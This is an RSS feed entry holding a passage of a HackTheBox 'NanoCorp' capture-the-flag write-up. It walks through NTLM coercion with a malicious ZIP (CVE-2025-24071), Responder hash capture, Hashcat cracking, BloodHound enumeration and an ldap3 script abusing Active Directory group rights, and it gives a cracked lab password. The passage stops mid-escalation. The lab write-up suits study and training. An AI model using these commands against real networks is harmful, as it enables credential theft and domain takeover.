<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: WhyShell</title>
    <description>The latest articles on DEV Community by WhyShell (@whyshell).</description>
    <link>https://dev.to/whyshell</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3951209%2F5ab7f0de-8ad8-4118-aa6f-3779aae419d0.png</url>
      <title>DEV Community: WhyShell</title>
      <link>https://dev.to/whyshell</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/whyshell"/>
    <language>en</language>
    <item>
      <title>HTB — NanoCorp — Writeup</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Sat, 27 Jun 2026 13:18:20 +0000</pubDate>
      <link>https://dev.to/whyshell/hackthebox-nanocorp-hard-writeup-en-2ade</link>
      <guid>https://dev.to/whyshell/hackthebox-nanocorp-hard-writeup-en-2ade</guid>
      <description>&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Info&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Platform&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;HackTheBox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows Server 2022&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Themes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Active Directory, NTLM Coercion, ACL Abuse, Kerberos, MSI Repair Race&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVEs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CVE-2025-24071, CVE-2024-0670&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;NanoCorp is a Windows Server 2022 domain controller exposing a recruitment portal (&lt;code&gt;hire.nanocorp.htb&lt;/code&gt;) that accepts ZIP uploads. We exploit CVE-2025-24071 to coerce NTLM authentication via a &lt;code&gt;.library-ms&lt;/code&gt; file embedded in a ZIP — Responder captures the NTLMv2 hash of the &lt;code&gt;web_svc&lt;/code&gt; service account.&lt;/p&gt;

&lt;p&gt;After cracking the hash, BloodHound reveals an ACL chain: &lt;code&gt;web_svc&lt;/code&gt; can add itself to the &lt;code&gt;IT_SUPPORT&lt;/code&gt; group (AddSelf), which in turn can change the password of &lt;code&gt;monitoring_svc&lt;/code&gt; (ForceChangePassword). That account, a member of the Protected Users group, requires Kerberos authentication to reach the DC over WinRM — which lands us the user flag.&lt;/p&gt;

&lt;p&gt;Privesc exploits CVE-2024-0670: the Checkmk agent v2.1.0 creates temporary &lt;code&gt;.cmd&lt;/code&gt; files with a predictable pattern during an MSI repair (&lt;code&gt;msiexec /fa&lt;/code&gt;). By pre-placing our own read-only &lt;code&gt;.cmd&lt;/code&gt; files, we get command execution as SYSTEM. The subtle trap: &lt;code&gt;msiexec /fa&lt;/code&gt; requires an interactive session (logon type 2). We use RunasCs with the &lt;code&gt;-l 2&lt;/code&gt; flag from Evil-WinRM to obtain a reverse shell as &lt;code&gt;web_svc&lt;/code&gt; inside an interactive session, then trigger msiexec from that session.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attack Overview
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│  hire.nanocorp.htb — ZIP Upload                 │
│  CVE-2025-24071 (.library-ms → NTLM coercion)   │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Responder captures NTLMv2 hash → web_svc       │
│  Hashcat crack → dksehdgh712!@#                 │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  BloodHound ACL Chain                           │
│  web_svc ──[AddSelf]──→ IT_SUPPORT              │
│  IT_SUPPORT ──[ForceChangePassword]──→          │
│                              monitoring_svc     │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  Protected Users → Kerberos required            │
│  kinit + evil-winrm --ssl -r NANOCORP.HTB       │
│  → monitoring_svc shell → 🚩 User flag          │
└────────────────────┬────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────┐
│  CVE-2024-0670 — Checkmk MSI Repair Race        │
│  RunasCs -l 2 → web_svc reverse shell           │
│  → Seed 10k .cmd files → msiexec /fa            │
│  → SYSTEM runs our payload                      │
│  → net user Administrator → 🚩 Root flag        │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Phase 1 — Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Port scan with Rustscan
&lt;/h3&gt;

&lt;p&gt;We start with a full scan using Rustscan, which quickly identifies open ports before handing off to Nmap for scripts and version detection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.129.243.199
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ip addr show tun0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'inet '&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;/ &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; dc01.nanocorp.htb nanocorp.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts

rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--range&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_full.txt &lt;span class="nt"&gt;-Pn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F04675tqa4jp064zy3q9z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F04675tqa4jp064zy3q9z.png" alt="Rustscan result — open ports" width="583" height="967"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key ports identified:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Observation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Simple DNS Plus — internal AD resolution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.58 (Win64) + PHP 8.2.12 — redirects to &lt;code&gt;nanocorp.htb&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Confirms a Domain Controller&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389&lt;/td&gt;
&lt;td&gt;LDAP&lt;/td&gt;
&lt;td&gt;Domain: &lt;code&gt;nanocorp.htb&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;445&lt;/td&gt;
&lt;td&gt;SMB&lt;/td&gt;
&lt;td&gt;Message signing &lt;strong&gt;required&lt;/strong&gt; → no NTLM relay possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5986&lt;/td&gt;
&lt;td&gt;WinRM HTTPS&lt;/td&gt;
&lt;td&gt;Only WinRM available (no plaintext 5985)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6556&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Absent from external scan&lt;/strong&gt; — we'll discover it later from the inside&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Two important details in the scan:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;clock skew&lt;/strong&gt; is nearly &lt;strong&gt;7 hours&lt;/strong&gt; — this is crucial for Kerberos commands. On this box, we use &lt;code&gt;faketime -f '+7h'&lt;/code&gt; in front of each Kerberos command rather than changing the system clock (which would break TLS certificates).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMB signing&lt;/strong&gt; is required — this immediately rules out NTLM relay attacks (ntlmrelayx). We'll have to capture and &lt;strong&gt;crack&lt;/strong&gt; the hashes, not relay them.&lt;/p&gt;

&lt;h3&gt;
  
  
  1.2 Vhost enumeration with ffuf
&lt;/h3&gt;

&lt;p&gt;The Apache server redirects to &lt;code&gt;nanocorp.htb&lt;/code&gt; — there may be other vhosts configured. We use ffuf to discover them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.nanocorp.htb"&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://nanocorp.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,302,403 &lt;span class="nt"&gt;-fc&lt;/span&gt; 301 | &lt;span class="nb"&gt;cat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;| cat&lt;/code&gt;?&lt;/strong&gt; ffuf displays an interactive progress bar that pollutes the output. Piping to &lt;code&gt;cat&lt;/code&gt; forces a non-interactive mode — the output is clean and readable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-fc 301&lt;/code&gt;?&lt;/strong&gt; The server returns 301 to &lt;em&gt;all&lt;/em&gt; non-existent subdomains (redirect to &lt;code&gt;nanocorp.htb&lt;/code&gt;). That's the default noise we filter out — we only keep responses that behave differently (200, 302, 403).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87o45fg3b30vx5nekgaz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F87o45fg3b30vx5nekgaz.png" alt="ffuf" width="796" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovery:&lt;/strong&gt; &lt;code&gt;hire.nanocorp.htb&lt;/code&gt; — we add it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; hire.nanocorp.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1.3 The recruitment portal
&lt;/h3&gt;

&lt;p&gt;We open &lt;code&gt;http://hire.nanocorp.htb&lt;/code&gt; in the browser — it's a recruitment portal with a CV upload form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuwfg97uh7d4kc5swey.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuwfg97uh7d4kc5swey.png" alt="hire.nanocorp.htb portal — upload form" width="648" height="836"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The form accepts ZIP files and archives. This is our entry vector: we'll exploit the automatic archive processing by Windows Explorer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2 — Initial Access: CVE-2025-24071 (NTLM Coercion via ZIP)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Why this CVE works
&lt;/h3&gt;

&lt;p&gt;CVE-2025-24071 exploits a Windows Explorer behavior: when a ZIP archive is extracted, Explorer &lt;strong&gt;auto-processes&lt;/strong&gt; certain special file types, including &lt;code&gt;.library-ms&lt;/code&gt; files.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;.library-ms&lt;/code&gt; file is an XML file that describes a Windows "library" (Documents, Pictures, etc.). It can contain a &lt;strong&gt;UNC path&lt;/strong&gt; (&lt;code&gt;\\attacker-ip\share&lt;/code&gt;) as the library location. When Explorer processes this file, it tries to resolve the UNC path — which triggers an &lt;strong&gt;automatic NTLM authentication&lt;/strong&gt; to our SMB server.&lt;/p&gt;

&lt;p&gt;The key point: all of this happens &lt;strong&gt;without any user interaction&lt;/strong&gt;. Extracting the ZIP is enough.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 Generating the malicious ZIP
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /mnt/macos/CTF/NanoCorp
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
&lt;span class="nb"&gt;cd &lt;/span&gt;CVE-2025-24071_PoC
python3 poc.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foa7tndj44tuxbod9e4oh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Foa7tndj44tuxbod9e4oh.png" alt="PoC result" width="355" height="70"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PoC generates an &lt;code&gt;exploit.zip&lt;/code&gt; containing a &lt;code&gt;.library-ms&lt;/code&gt; file pointing to our IP via a UNC path.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 Capturing the NTLMv2 hash
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;T1 — Responder&lt;/strong&gt; listening on tun0:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; tun0 &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;T2 — Upload&lt;/strong&gt; the &lt;code&gt;exploit.zip&lt;/code&gt; on the &lt;code&gt;hire.nanocorp.htb&lt;/code&gt; form.&lt;/p&gt;

&lt;p&gt;We wait a few seconds — the server extracts the ZIP, Windows Explorer processes the &lt;code&gt;.library-ms&lt;/code&gt;, and attempts SMB authentication toward us.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1kf36skgd0tzuz9uej8i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1kf36skgd0tzuz9uej8i.png" alt="Responder — capturing web_svc NTLMv2 hash" width="800" height="567"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:94f624ed11c6411e:8E122B...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have the NTLMv2 hash of the &lt;code&gt;web_svc&lt;/code&gt; service account — the account that runs Apache/PHP on the box.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 Cracking the hash
&lt;/h3&gt;

&lt;p&gt;We save the hash and crack it with Hashcat on the Mac's native M5 GPU (via the Metal API):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'web_svc::NANOCORP:94f624ed11c6411e:8E122B...'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; web_svc.hash
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 5600 web_svc.hash ~/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-m 5600&lt;/code&gt;?&lt;/strong&gt; That's NTLMv2 mode in Hashcat. NTLMv2 is the authentication protocol (challenge/response), not to be confused with the raw NT hash (&lt;code&gt;-m 1000&lt;/code&gt;).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgcsx9e5te7uctxxiexxp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgcsx9e5te7uctxxiexxp.png" alt="Hashcat — password cracked" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;web_svc&lt;/code&gt; / &lt;code&gt;dksehdgh712!@#&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3 — Horizontal Escalation: ACL Chain (BloodHound CE)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 BloodHound collection
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;web_svc&lt;/code&gt;'s credentials, we run the BloodHound ingestor to map the AD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; web_svc &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'dksehdgh712!@#'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; nanocorp.htb &lt;span class="nt"&gt;-dc&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-c&lt;/span&gt; All &lt;span class="nt"&gt;--zip&lt;/span&gt; &lt;span class="nt"&gt;-ns&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-ns $IP&lt;/code&gt;?&lt;/strong&gt; We force the use of the DC's DNS directly. Without it, bloodhound-python tries to resolve names via Kali's system DNS, which doesn't know the &lt;code&gt;nanocorp.htb&lt;/code&gt; zone — and the ingestor crashes with &lt;code&gt;Failed to resolve LDAP server IP&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  3.2 Analysis in BloodHound CE
&lt;/h3&gt;

&lt;p&gt;We import the ZIP into BloodHound CE (&lt;code&gt;http://localhost:8080&lt;/code&gt;) and explore &lt;code&gt;web_svc&lt;/code&gt;'s rights.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08zyjs3ug57rqzsfmhot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08zyjs3ug57rqzsfmhot.png" alt="BloodHound CE — web_svc Outbound Object Control" width="800" height="625"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Node &lt;code&gt;web_svc@nanocorp.htb&lt;/code&gt; → Outbound Object Control:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;web_svc&lt;/code&gt; → &lt;code&gt;IT_SUPPORT&lt;/code&gt;: &lt;strong&gt;AddSelf&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3qnz4z8o0ikgqt24gzei.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3qnz4z8o0ikgqt24gzei.png" alt="BloodHound CE — IT_SUPPORT Outbound Object Control" width="800" height="221"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Node &lt;code&gt;IT_SUPPORT&lt;/code&gt; → Outbound Object Control:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;IT_SUPPORT&lt;/code&gt; → &lt;code&gt;monitoring_svc&lt;/code&gt;: &lt;strong&gt;ForceChangePassword&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 Why this ACL chain is dangerous
&lt;/h3&gt;

&lt;p&gt;The full chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AddSelf&lt;/strong&gt;: &lt;code&gt;web_svc&lt;/code&gt; has the right to add &lt;strong&gt;itself&lt;/strong&gt; as a member of the &lt;code&gt;IT_SUPPORT&lt;/code&gt; group. This is a more specific, weaker right than GenericAll — the principal cannot add other users, only itself. It's often configured so that service accounts can "join" a technical support group.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ForceChangePassword&lt;/strong&gt;: the &lt;code&gt;IT_SUPPORT&lt;/code&gt; group has the right to &lt;strong&gt;reset&lt;/strong&gt; &lt;code&gt;monitoring_svc&lt;/code&gt;'s password without knowing the old one. This right is often granted to support teams to unblock accounts — but it's a direct entry point for an attacker who joins the group.&lt;/p&gt;

&lt;p&gt;Result: with a single service account (&lt;code&gt;web_svc&lt;/code&gt;), we can pivot to &lt;code&gt;monitoring_svc&lt;/code&gt; in two steps without ever touching a privileged account.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 Exploiting the ACL chain
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Step 1 — web_svc adds itself to the IT_SUPPORT group
&lt;/h4&gt;

&lt;p&gt;We use the Python &lt;code&gt;ldap3&lt;/code&gt; library to modify the group's &lt;code&gt;member&lt;/code&gt; attribute. We go through a Python script to avoid password quoting issues (&lt;code&gt;!@#&lt;/code&gt;) in zsh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/addself.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;python3 /tmp/addself.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why a Python file and not a one-liner?&lt;/strong&gt; The password contains &lt;code&gt;!@#&lt;/code&gt; — zsh interprets &lt;code&gt;!&lt;/code&gt; as history expansion and &lt;code&gt;#&lt;/code&gt; as a comment. The heredoc &lt;code&gt;&amp;lt;&amp;lt; 'EOF'&lt;/code&gt; (with single quotes around EOF) prevents any expansion.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;{'result': 0, 'description': 'success', ...}&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2 — Changing monitoring_svc's password
&lt;/h4&gt;

&lt;p&gt;Now that &lt;code&gt;web_svc&lt;/code&gt; is a member of &lt;code&gt;IT_SUPPORT&lt;/code&gt;, we use rpcclient to change &lt;code&gt;monitoring_svc&lt;/code&gt;'s password:&lt;br&gt;
&lt;/p&gt;
